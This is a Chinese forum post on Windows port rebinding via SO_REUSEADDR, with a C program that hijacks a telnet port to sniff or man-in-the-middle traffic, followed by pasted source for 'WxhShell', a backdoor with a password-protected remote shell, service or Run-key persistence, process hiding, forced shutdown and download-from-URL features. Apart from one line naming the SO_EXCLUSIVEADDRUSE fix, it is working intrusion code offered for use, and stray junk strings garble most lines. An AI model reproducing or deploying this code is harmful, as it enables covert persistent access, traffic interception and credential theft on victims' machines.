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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |r%NMw #y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G (o9*m1  
+-*Ww5Zti  
  saddr.sin_family = AF_INET; Jb (CH4|7  
>{HQ"{Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PV\aQO.mo  
8$TSQ~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5u89?-UD  
P`xQL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !|#W,9  
?~p]Ey}~9  
  这意味着什么?意味着可以进行如下的攻击: c&GVIrJ  
P< 5v\\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +M=`3jioL  
<lo\7p$A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .*Mp+Q}^  
n,_q6/!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <Cbi5DtR  
NrK.DY4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y*Ra!]62  
ls*bCe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H6t'V%Ys  
\QvoL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wJ%;\06  
{)?:d6"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9k.5'#  
};Oyv7D+b  
  #include z *FCd6X  
  #include aJ/}ID  
  #include E;tEmGf6F  
  #include    y2{uEbA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !jTtMx  
  int main() "!w#E6gU  
  { e"D%eFkDW  
  WORD wVersionRequested; N|@jHx y  
  DWORD ret; o^ zrF  
  WSADATA wsaData; NZoNsNu*C.  
  BOOL val; 6D&{+;  
  SOCKADDR_IN saddr; /f}!G  
  SOCKADDR_IN scaddr; je`Ysben  
  int err; K!,T.qA&=  
  SOCKET s; rLpfybu  
  SOCKET sc; N xW Dw  
  int caddsize; }B e;YIhG  
  HANDLE mt; h0O t>e"  
  DWORD tid;   ZO#f)>s2  
  wVersionRequested = MAKEWORD( 2, 2 ); L}a-c(G+8  
  err = WSAStartup( wVersionRequested, &wsaData ); &pzf*|}  
  if ( err != 0 ) { }NJKkj?  
  printf("error!WSAStartup failed!\n"); {)jTq??  
  return -1; YT`,f*t  
  } {Z,_/@}N  
  saddr.sin_family = AF_INET; Fc6o6GyL|o  
   S6CI+W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -^aJ}[uaI  
MO>9A,&f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9$?Sts}6&  
  saddr.sin_port = htons(23); D 0 O^=v|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) UCc!  
  { Iz^vt#b  
  printf("error!socket failed!\n"); H[_i=X3-~  
  return -1; &"r /&7:  
  } >I@VHl O  
  val = TRUE; ? Xl;>}zj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gHo sPY[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X`6"^ xme  
  { 48IrC_0j  
  printf("error!setsockopt failed!\n"); 64i*_\UKe  
  return -1; g7" 2}|qxo  
  } (QTF+~)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?XbM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =%ok:+D]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y1)ZO_'  
vh#81}@N7*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4iI4+  
  { :pfLa2f+  
  ret=GetLastError(); SF=TG84<  
  printf("error!bind failed!\n"); X- ZZLl#  
  return -1; AP:Q]A6}  
  } 9 {wRqY  
  listen(s,2); Fq$r>tmV  
  while(1) ,gpZz$Ef(  
  { rJ)j./c  
  caddsize = sizeof(scaddr); f DwK5?  
  //接受连接请求 Zz1nXUZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vSu dT  
  if(sc!=INVALID_SOCKET) KdBpfPny@  
  { >qz#&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q+oV? S3{  
  if(mt==NULL) 3=Q:{  
  { =%B5TBG  
  printf("Thread Creat Failed!\n"); 5-hnk' ~  
  break; Z)}UCi+/".  
  } zM,r0Z  
  } C-@[=  
  CloseHandle(mt); .* )e24`  
  } .P <3+  
  closesocket(s); byFO^pce  
  WSACleanup();  l*?_@  
  return 0; %tMx48'N  
  }   lSg[7lt  
  DWORD WINAPI ClientThread(LPVOID lpParam) !:PiQ19 'u  
  { FUarI5#fwF  
  SOCKET ss = (SOCKET)lpParam; h 8xcq#  
  SOCKET sc; `a%MD>R_Lg  
  unsigned char buf[4096]; ?P}bl_  
  SOCKADDR_IN saddr; >J5C.hx  
  long num; T]JmnCX>:  
  DWORD val; q;}iW:r&Q  
  DWORD ret; \_  V*Cs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xhq7)/jp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NS65F7<&  
  saddr.sin_family = AF_INET; P(3k1SM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [#9i@40  
  saddr.sin_port = htons(23); WfD fj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EV?U !O  
  { R RE8|%p;B  
  printf("error!socket failed!\n"); Sbl=U  
  return -1; n)~*BpL3  
  } u0GHcpOm  
  val = 100; `BQv;NtP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z\$M)e8n  
  { u&w})`+u5  
  ret = GetLastError(); "M, 1ElQ  
  return -1; $~S~pvT  
  } .faf!3d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y hQ)M5  
  { ruQt0q,W3%  
  ret = GetLastError(); pCDN9*0/  
  return -1;  vTgx7gP  
  } x_ /}R3d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n1JtY75#,/  
  { j*5IRzK1%0  
  printf("error!socket connect failed!\n"); {l)$9!  
  closesocket(sc); EJ>&\Iq  
  closesocket(ss); fZezDm(Q  
  return -1; +J|H~`  
  } pB4Uc<e  
  while(1) @)BO`;*$fF  
  { WR3,woo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 43pe6 ^.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |mP};&b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^$5 0[  
  num = recv(ss,buf,4096,0); A#6zI NK#B  
  if(num>0) LQHL4jRXU  
  send(sc,buf,num,0); {O9(<g  
  else if(num==0) 8Z0x*Ssk  
  break; Z2gWa~dBC  
  num = recv(sc,buf,4096,0); {nbT$3=Zt  
  if(num>0) <)p.GAZ  
  send(ss,buf,num,0); Lo~ ;pvv  
  else if(num==0) UXlZI'|He  
  break; *I)J%#  
  } IH;sVT $M  
  closesocket(ss); p"#\E0GM  
  closesocket(sc); %rMCiz  
  return 0 ; J Cq>;br.  
  } +4.s4&f)  
 #D4  
{BmqUoZrC  
========================================================== G.H8 ><%  
{g! 7K  
下边附上一个代码,,WXhSHELL !uQT4< g  
^3TNj  
========================================================== N(Ru/9!y"  
ejlns ~  
#include "stdafx.h" +U2lwd!j  
1!KROes4  
#include <stdio.h> ~PI2G 9  
#include <string.h> 9H/>M4RT  
#include <windows.h> f4h~c  
#include <winsock2.h> X58U>4a  
#include <winsvc.h> 4%^z=%  
#include <urlmon.h> {_Wrs.a'8  
755,=U8'wi  
#pragma comment (lib, "Ws2_32.lib") ?id) 2V0s  
#pragma comment (lib, "urlmon.lib") -BH/)$-$  
O|V0WiY<  
#define MAX_USER   100 // 最大客户端连接数 !,$#i  
#define BUF_SOCK   200 // sock buffer 7ocUFY0"  
#define KEY_BUFF   255 // 输入 buffer ]*#i_dho7  
>!t3~q1Cn  
#define REBOOT     0   // 重启 Ifn|wrx;g  
#define SHUTDOWN   1   // 关机  d 2d-Mk  
393c |8M  
#define DEF_PORT   5000 // 监听端口 4AS%^&ah  
>U vP/rp  
#define REG_LEN     16   // 注册表键长度 Jv8:GgSg  
#define SVC_LEN     80   // NT服务名长度 Z0fa;%:  
<NMJkl-r8r  
// 从dll定义API J5G<Y*q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '9zW#b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  E.h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0&UG=q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PjeI&@  
|n/;x$Cb  
// wxhshell配置信息 E{<#h9=>  
struct WSCFG { dS ojq6M  
  int ws_port;         // 监听端口 2%sZaM  
  char ws_passstr[REG_LEN]; // 口令 (dq_ ,LI  
  int ws_autoins;       // 安装标记, 1=yes 0=no =/Gd<qz3  
  char ws_regname[REG_LEN]; // 注册表键名 %):_  
  char ws_svcname[REG_LEN]; // 服务名 cuN9R G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z*m^K%qJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i%-yR DIX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hSm?Z!+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hz.i$L0}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (oG YnN,2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }PBme'kP  
ENZym  
}; c!ZZMC s  
k( :Bl  
// default Wxhshell configuration 6G2~'zqPc~  
struct WSCFG wscfg={DEF_PORT, < D/K[mz-  
    "xuhuanlingzhe", >qo!#vJc a  
    1, f~NS{gL*  
    "Wxhshell", J8emz8J  
    "Wxhshell", N1Vj;-  
            "WxhShell Service", A0<g8pv  
    "Wrsky Windows CmdShell Service", $@L;j  
    "Please Input Your Password: ", k|/VNV( =0  
  1, Y~vk>ZC  
  "http://www.wrsky.com/wxhshell.exe", YVMvT>/,  
  "Wxhshell.exe" 5@2Rl>B$  
    }; 2Mt$Dah  
,Z~`aHhr  
// 消息定义模块 !T,<p    
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^I!Z)/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,<U= 7<NU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 98Vv K?  
char *msg_ws_ext="\n\rExit."; ku5|cF*%  
char *msg_ws_end="\n\rQuit."; Cw,a)XB  
char *msg_ws_boot="\n\rReboot..."; /x??J4r0  
char *msg_ws_poff="\n\rShutdown..."; I _KHQ&Z*  
char *msg_ws_down="\n\rSave to "; FBXktSg  
)/jDt dI  
char *msg_ws_err="\n\rErr!"; gy}3ZA*F  
char *msg_ws_ok="\n\rOK!"; juR>4SH  
g>VtPS5 y  
char ExeFile[MAX_PATH]; q-(~w!e  
int nUser = 0; ni/s/^  
HANDLE handles[MAX_USER]; 6{I7)@>N   
int OsIsNt; v6 U!(x  
9WG=3!-@  
SERVICE_STATUS       serviceStatus; ,/?J!W@m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oJTEN}fL  
';3>rv_  
// 函数声明 KR ( apO  
int Install(void); PEI$1,z  
int Uninstall(void); {N2GRF~c-y  
int DownloadFile(char *sURL, SOCKET wsh); }k VC ]+  
int Boot(int flag); ,7B7X)m{3  
void HideProc(void); P8YnKyI,.  
int GetOsVer(void); xw8k<`  
int Wxhshell(SOCKET wsl); Yh1</C  
void TalkWithClient(void *cs); 6]1RxrAV  
int CmdShell(SOCKET sock); gX{j$]^6G8  
int StartFromService(void); Q#%LIkeq  
int StartWxhshell(LPSTR lpCmdLine); SSI> +A  
b$'%)\('g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }rJqMZ]w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6|EOB~|  
i3)3. WK^  
// 数据结构和表定义 jwk+&S  
SERVICE_TABLE_ENTRY DispatchTable[] = Tv|'6P  
{ }ekNZNcuM  
{wscfg.ws_svcname, NTServiceMain}, k M /:n  
{NULL, NULL} 0kUhz\"R:q  
}; wrkw,H  
P'Y(f!%  
// 自我安装 u0wu\  
int Install(void) j EbmW*   
{ $*{,Z<|2  
  char svExeFile[MAX_PATH]; ;l;jTb^l  
  HKEY key; "Erphn  
  strcpy(svExeFile,ExeFile); 16Qu{K  
)j8'6tk)Z  
// 如果是win9x系统,修改注册表设为自启动 oc"p5Y3,Os  
if(!OsIsNt) { Zna6-0o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~;HASHu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kh3i.gm7g  
  RegCloseKey(key); [\ku,yd%0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \;-Yz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); niS\0ZA  
  RegCloseKey(key); YMw,C:a4  
  return 0; (h wzA *(c  
    } @>z.chM;  
  } F[c oa5  
} t 9(,JC0  
else { q,sO<1wAT\  
D!* SA  
// 如果是NT以上系统,安装为系统服务 CRo @+p10  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QO$18MBcc  
if (schSCManager!=0) :tV"uWZFU  
{ bzG vnaTt  
  SC_HANDLE schService = CreateService J)g +I  
  ( Lj /^cx  
  schSCManager, W(qK?"s2  
  wscfg.ws_svcname, n!zB+hW  
  wscfg.ws_svcdisp, <RxxGD  
  SERVICE_ALL_ACCESS, Nn_b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t]sk[  
  SERVICE_AUTO_START, }D1? Z7p  
  SERVICE_ERROR_NORMAL, HxR5&o  
  svExeFile, |$tF{\  
  NULL, \/dOv [  
  NULL, p_xJ KQS  
  NULL, /\fR6|tJ  
  NULL, sB0]lj-[Un  
  NULL fbI5!i#lz  
  ); 6Lq8#{/]u  
  if (schService!=0) - .) f~#8  
  { <e Y2}Ml  
  CloseServiceHandle(schService); ~I")-2"B  
  CloseServiceHandle(schSCManager); \ $TM=Ykj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T pCXe\W  
  strcat(svExeFile,wscfg.ws_svcname); rE "FN~9P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <DMm [V{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Y,V)41gCE  
  RegCloseKey(key); qW3XA$g|j'  
  return 0; +^J&x>5  
    } `_DA!  
  } zq5N@d F  
  CloseServiceHandle(schSCManager); 6oWFjeZ0  
} &#C|  
} cm!vuoB~~  
#}6~>A  
return 1; L]YJ#5  
} Eb,M+c?  
?RE"<L  
// 自我卸载 )3F}IgD  
int Uninstall(void) U7LCd+Z 5X  
{ 2n"-~'3\  
  HKEY key; nF-l4=  
B8wGWZ@  
if(!OsIsNt) { 5-4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \]F Pv7!  
  RegDeleteValue(key,wscfg.ws_regname); af[dkuv  
  RegCloseKey(key); ndyI sR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ./ tZ*sP:  
  RegDeleteValue(key,wscfg.ws_regname); 9AWP` ~l`  
  RegCloseKey(key); ']!wc8m1"  
  return 0; [$6YPM>Ee  
  } ;Gp9 ?0  
} U4"&T,'lTL  
} )REegFN@  
else { 55b/giX  
;Gu(Yoa}y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "MPS&OK  
if (schSCManager!=0) = g%<xCp  
{ 8&hxU@T~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AO-~dV  
  if (schService!=0) aEEb1Y  
  { P(\x. d:  
  if(DeleteService(schService)!=0) { 0W 1bZPM  
  CloseServiceHandle(schService); ,-n_( U  
  CloseServiceHandle(schSCManager); =q[+ e(,3  
  return 0; uC]c`Ue  
  } eiA$) rzy  
  CloseServiceHandle(schService); K=4|GZ~p}`  
  } B%x?VOdBE  
  CloseServiceHandle(schSCManager); 8XCT[X  
} ZP:+'\&J  
} uxX 3wY;M  
\R 3O39[  
return 1; >kuu\  
} Vo%ikR #  
juWbd|ad"  
// 从指定url下载文件 ?>R(;B|ER  
int DownloadFile(char *sURL, SOCKET wsh) <\d`}A:&  
{ C szZr>Z  
  HRESULT hr; 1vh[sKv9%  
char seps[]= "/"; A/Sj>Y1j  
char *token; &[ |Z2}  
char *file; 16ip:/5  
char myURL[MAX_PATH]; ubKp P%Z  
char myFILE[MAX_PATH]; 'v(b^x<ZS  
bvl!^xO]  
strcpy(myURL,sURL); )|]*"yf:E  
  token=strtok(myURL,seps); iII%!f?{[  
  while(token!=NULL) Qdy/KL1]  
  { 2`V0k.$?p  
    file=token; HbCcROl(  
  token=strtok(NULL,seps); $7O3+R/=  
  } ~A(^<  
p CeCR  
GetCurrentDirectory(MAX_PATH,myFILE); #]*d8  
strcat(myFILE, "\\"); X4k|k>  
strcat(myFILE, file); CQ{pv3)  
  send(wsh,myFILE,strlen(myFILE),0); /BS yanro  
send(wsh,"...",3,0); M3fTU CR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ] < ;y_  
  if(hr==S_OK) d|sf2   
return 0; FbCuXS=+`  
else 02[*b  
return 1; TD/ 4lL~(x  
[.;I}  
} #8WHIDS>  
V>4v6)N  
// 系统电源模块 8y4t9V  
int Boot(int flag) b6""q9S!  
{ tt&{f <*  
  HANDLE hToken; <`BDN  
  TOKEN_PRIVILEGES tkp; ;6=*E'  
|/u,6`  
  if(OsIsNt) { 5^{2 g^jH6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sq`Zuu9t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .;dI&0Z  
    tkp.PrivilegeCount = 1; /i"1e:cK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OP``+z>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WuQ;Da0+_F  
if(flag==REBOOT) { |QyZ:`0u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h.xtkD)Y~  
  return 0; rLp0)Go  
} #Fh:z4  
else { uOx"oR|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BWkTQd<t  
  return 0; [1e/@eC5  
} )SaMfP1=v  
  } =|V#~p*  
  else { Om8Sgy?  
if(flag==REBOOT) { -c[fg+L9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "i%=QON`  
  return 0; HC$}KoZkC  
} ,C^u8Z|T  
else { Z>.('  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /vLW{%  
  return 0; DH])Q5  
} .aC/ g?U  
} 7Y 4!   
AD7&-=p&w  
return 1; 0>3Sn\gZ(  
} Xz'o<S  
p-6T,')  
// win9x进程隐藏模块 G[zVGqk  
void HideProc(void) G4EuW *~  
{ dlDO?T  
[n$6 T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &3 x [0DV  
  if ( hKernel != NULL ) K*tomy  
  { xE6hE'rh.O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *3(mNpi{_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T?*f}J  
    FreeLibrary(hKernel); 1 l-Y)   
  } qKI)*o062  
vSo,,~ F  
return; nz/cs n  
} nR,QqIFFw  
}Rq{9j,%  
// 获取操作系统版本 /kqa|=-`q  
int GetOsVer(void) xH>j  
{ 4@9xq<<5  
  OSVERSIONINFO winfo; eY`o=xN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hw,@oOh.  
  GetVersionEx(&winfo); "BC;zH:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :d|~k  
  return 1; 3 5p) e c  
  else 9bUFxSH  
  return 0; =DXN`]uN  
} 4 udW 6U  
 qy/t<2'  
// 客户端句柄模块 Wfsd$kN6{  
int Wxhshell(SOCKET wsl) d_Z?i#r0l  
{ =F46v{la  
  SOCKET wsh; ;esOe\z jE  
  struct sockaddr_in client; HDj260a  
  DWORD myID; a-NicjV#  
V=H:`n3k  
  while(nUser<MAX_USER) Oh,]"(+  
{ +?6@%mW'  
  int nSize=sizeof(client); Bk/&H-NI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fzy5k?R  
  if(wsh==INVALID_SOCKET) return 1; q!YAA\'31  
Fm[3Btn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wT+\:y  
if(handles[nUser]==0) rw[Ioyr-  
  closesocket(wsh); `ix&j8E22w  
else QVkrhwp  
  nUser++; e. R9:  
  } ggy9euWV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CsN^u H  
cT nC  
  return 0; V}Ce3wgvA  
} FQ u c}A  
*eMMfxFl  
// 关闭 socket C40o_1g  
void CloseIt(SOCKET wsh) c6VyF=2q  
{ )D&xyC}  
closesocket(wsh); 8;x0U`}Ez(  
nUser--; T_fM\jdI  
ExitThread(0); +.QJZo_  
} _[/#t|I}  
H4<Q}([w  
// 客户端请求句柄 'i4L.&  
void TalkWithClient(void *cs) cVDcda|PE  
{ bP&1tE  
N t\ZM  
  SOCKET wsh=(SOCKET)cs; Sv!JA#Ag  
  char pwd[SVC_LEN]; ==EB\>g|  
  char cmd[KEY_BUFF]; 4u#TKr.  
char chr[1]; I5ZM U  
int i,j; $ByP 9=|  
a`>H69(bU  
  while (nUser < MAX_USER) { }ldpudU  
KC nm_4  
if(wscfg.ws_passstr) { E@4/<;eKK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .sD=k3d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~nApRC)0  
  //ZeroMemory(pwd,KEY_BUFF); S1U[{R?,  
      i=0; TQ=HFs ~  
  while(i<SVC_LEN) { 0B: v0 R  
KtHkLYOCG  
  // 设置超时 ]`M2Kwp  
  fd_set FdRead; ygQe'S{!S\  
  struct timeval TimeOut; pj7v{H+  
  FD_ZERO(&FdRead); 1:J+`mzpl  
  FD_SET(wsh,&FdRead); IL`=r6\  
  TimeOut.tv_sec=8; 6w[EJ;=p_  
  TimeOut.tv_usec=0; *q+X ?3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "<LWz&e^^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zpz3 ?VM(  
ilAhw4A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d0;?GQYn:  
  pwd=chr[0]; V)P8w#,  
  if(chr[0]==0xd || chr[0]==0xa) { %< `D' V@  
  pwd=0; 9dWz3b1[]  
  break; `\f 3Ij,  
  } L$,yEMCe  
  i++; W||&Xb  
    } .eLd0{JtN  
mv^X{T  
  // 如果是非法用户,关闭 socket :[7O=[pk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rR 86D  
} 1xInU_SPf  
cQm4q19  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  K~B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =}.gU WV  
P>(FCX  
while(1) { ;; ;=)'o  
n~.$iN  
  ZeroMemory(cmd,KEY_BUFF); GxEShSGOE  
wx YGr`f  
      // 自动支持客户端 telnet标准   ;a| ~YM2I  
  j=0; ck\W'Y*Q7  
  while(j<KEY_BUFF) { iu3L9UfL[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  {8h[Bd  
  cmd[j]=chr[0]; GP^.h kVs  
  if(chr[0]==0xa || chr[0]==0xd) { 'b y+hXk  
  cmd[j]=0; 4u+0 )<  
  break; uqLP$At  
  } dCe LW  
  j++; Nd&UWk^  
    } XK})?LTD  
Keem \/  
  // 下载文件 ZJ.an%4  
  if(strstr(cmd,"http://")) { V1~@   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DTSf[zP/  
  if(DownloadFile(cmd,wsh)) #'0Yzh]qc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q6xqr:W  
  else 72 |O&`O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~d=e3mBp  
  } {Ay dt8  
  else { ~9E_L?TW*  
D~#%^a+Aq_  
    switch(cmd[0]) { [:cvy[}v@  
  =E<H_cUS  
  // 帮助 }pIn3B)  
  case '?': { D <R_eK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G? XS-oSv  
    break; O1bW, n(  
  } ;lvcg)}l  
  // 安装 T6QRr}8`/J  
  case 'i': {  uxB`  
    if(Install()) MX8|;t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @`dlhz  
    else *@ H\J e`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gKQV99  
    break; W"GW[~ h  
    } eLnS1w 2  
  // 卸载 1m#.f=u{R  
  case 'r': { P%gA` j  
    if(Uninstall()) EO~L.E%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kwL|gO1L  
    else 7eju%d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7zC-3  
    break; lo(C3o'  
    } tW/g0lC%  
  // 显示 wxhshell 所在路径 8|)^m[c&  
  case 'p': { _DH^ K 9,9  
    char svExeFile[MAX_PATH]; n:P:im?,y*  
    strcpy(svExeFile,"\n\r"); 0Q`v#$?":  
      strcat(svExeFile,ExeFile); E6Z kO/  
        send(wsh,svExeFile,strlen(svExeFile),0); \2 e^x  
    break; `$ S&:Q,  
    } &Jc atI  
  // 重启 -5 D<zP/  
  case 'b': { %1.F;-GdsW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YO$D-  
    if(Boot(REBOOT)) f&mi nBU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1P*hC<  
    else { kDMvTVd  
    closesocket(wsh); HE%/+mZN  
    ExitThread(0); XUA@f*  
    } -1RMyVx  
    break; r9OgezER  
    } JE7m5k Ta  
  // 关机 f?51sr  
  case 'd': { dGn 0-l'q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eqsmv [  
    if(Boot(SHUTDOWN)) j~G(7t  
